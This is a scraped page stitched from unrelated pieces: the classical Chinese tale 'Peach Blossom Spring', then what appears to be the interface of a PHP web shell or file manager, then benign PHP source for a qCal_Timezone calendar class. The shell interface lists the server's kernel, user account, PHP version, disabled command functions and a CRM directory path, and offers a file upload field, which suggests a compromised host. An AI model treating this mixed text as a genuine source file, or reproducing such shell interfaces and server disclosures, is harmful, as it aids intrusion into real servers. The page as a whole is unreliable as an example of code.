晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。 林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。 见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝) 既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。 南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。
|
Server : Apache System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64 User : rainic ( 1014) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system Directory : /home/akaindir/www/crm/modules/Mobile/third-party/qCal/qCal/ |
Upload File : |
<?php
class qCal_Timezone {
protected $format = "e";
protected $name;
protected $offsetSeconds;
protected $abbreviation;
protected $isDaylightSavings;
protected $formatArray = array();
protected static $timezones = array();
/**
* Class constructor
* A timezone must have a name, offset (in seconds), and optionsally an abbreviation. Daylight savings defaults to false.
* @todo When $abbreviation isn't specified, and $name is a valid pre-defined PHP timezone identifier, use its
* corresponding abbreviation rather than the name itself
* @todo When $offset isn't provided and $name is a valid timezone, use its corresponding offset, but if $name is not
* a valid timezone identifier and no offset is provided, throw an exception
*/
public function __construct($name, $offset, $abbreviation = null, $daylightsavings = null) {
$this->setName($name);
$this->setOffsetSeconds($offset);
if (is_null($abbreviation)) $abbreviation = $name;
$this->setAbbreviation($abbreviation);
$this->setIsDaylightSavings($daylightsavings);
$this->formatArray = array(
'e' => $this->getName(),
'I' => (integer) $this->isDaylightSavings(),
'O' => $this->getOffsetHours(),
'P' => $this->getOffset(),
'T' => $this->getAbbreviation(),
'Z' => $this->getOffsetSeconds(),
);
}
public function setName($name) {
$this->name = (string) $name;
}
public function setOffsetSeconds($offset) {
$this->offsetSeconds = (integer) $offset;
}
public function setAbbreviation($abbreviation) {
$this->abbreviation = (string) $abbreviation;
}
public function setIsDaylightSavings($daylightSavings = null) {
$this->isDaylightSavings = (boolean) $daylightSavings;
}
/**
* Generate a timezone from either an array of parameters, or a timezone
* name such as "America/Los_Angeles".
* @link http://php.net/manual/en/timezones.php A directory of valid timezones
* @todo This method is FUGLY. Rewrite it and make it make sense. This is sort of nonsensical.
*/
public static function factory($timezone = null) {
if (is_array($timezone)) {
// remove anything irrelevant
$vals = array_intersect_key($timezone, array_flip(array('name','offsetSeconds','abbreviation','isDaylightSavings')));
if (!array_key_exists("name", $vals)) {
// @todo throw an exception or something
}
if (!array_key_exists("offsetSeconds", $vals)) {
// @todo throw an exception or something
}
$name = $vals['name'];
$offsetSeconds = $vals['offsetSeconds'];
$abbreviation = (array_key_exists('abbreviation', $vals)) ? $vals['abbreviation'] : null;
$isDaylightSavings = (array_key_exists('isDaylightSavings', $vals)) ? $vals['isDaylightSavings'] : null;
$timezone = new qCal_Timezone($name, $offsetSeconds, $abbreviation, $isDaylightSavings);
} else {
// get the timezone information out of the string
$defaultTz = date_default_timezone_get();
if (is_null($timezone)) $timezone = $defaultTz;
// if the timezone being set is invalid, we will get a PHP notice, so error is suppressed here
// @todo It would be more clean and probably more efficient to use php's error handling to throw an exception here...
if (is_string($timezone)) {
@date_default_timezone_set($timezone);
// if the function above didn't work, this will be true
if (date_default_timezone_get() != $timezone) {
// if the timezone requested is registered, use it
if (array_key_exists($timezone, self::$timezones)) {
$timezone = self::$timezones[$timezone];
} else {
// otherwise, throw an exception
throw new qCal_DateTime_Exception_InvalidTimezone("'$timezone' is not a valid timezone.");
}
} else {
// if the timezone specified was a valid (native php) timezone, use it
$name = date("e");
$offset = date("Z");
$abbr = date("T");
$ds = date("I");
$timezone = new qCal_Timezone($name, $offset, $abbr, $ds);
}
}
// now set it back to what it was...
date_default_timezone_set($defaultTz);
}
return $timezone;
}
public static function register(qCal_Timezone $timezone) {
self::$timezones[$timezone->getName()] = $timezone;
}
public static function unregister($timezone) {
unset(self::$timezones[(string) $timezone]);
}
public function getName() {
return $this->name;
}
public function getOffset() {
$seconds = $this->getOffsetSeconds();
$negpos = "+";
if ($seconds < 0) {
$negpos = "-";
}
$hours = (integer) ($seconds / 60 / 60);
$minutes = $hours * 60;
$minutes = ($seconds / 60) - $minutes;
return sprintf("%s%02d:%02d", $negpos, abs($hours), abs($minutes));
}
public function getOffsetHours() {
$seconds = $this->getOffsetSeconds();
$negpos = "+";
if ($seconds < 0) {
$negpos = "-";
}
$hours = (integer) ($seconds / 60 / 60);
$minutes = $hours * 60;
$minutes = ($seconds / 60) - $minutes;
return sprintf("%s%02d%02d", $negpos, abs($hours), abs($minutes));
}
public function getOffsetSeconds() {
return $this->offsetSeconds;
}
public function getAbbreviation() {
return $this->abbreviation;
}
public function isDaylightSavings() {
return $this->isDaylightSavings;
}
/**
* Set the format that should be used when calling either __toString() or format() without an argument.
* @param string $format
*/
public function setFormat($format) {
$this->format = (string) $format;
return $this;
}
public function format($format) {
$escape = false;
$meta = str_split($format);
$output = array();
foreach($meta as $char) {
if ($char == '\\') {
$escape = true;
continue;
}
if (!$escape && array_key_exists($char, $this->formatArray)) {
$output[] = $this->formatArray[$char];
} else {
$output[] = $char;
}
// reset this to false after every iteration that wasn't "continued"
$escape = false;
}
return implode($output);
}
public function __toString() {
return $this->format($this->format);
}
}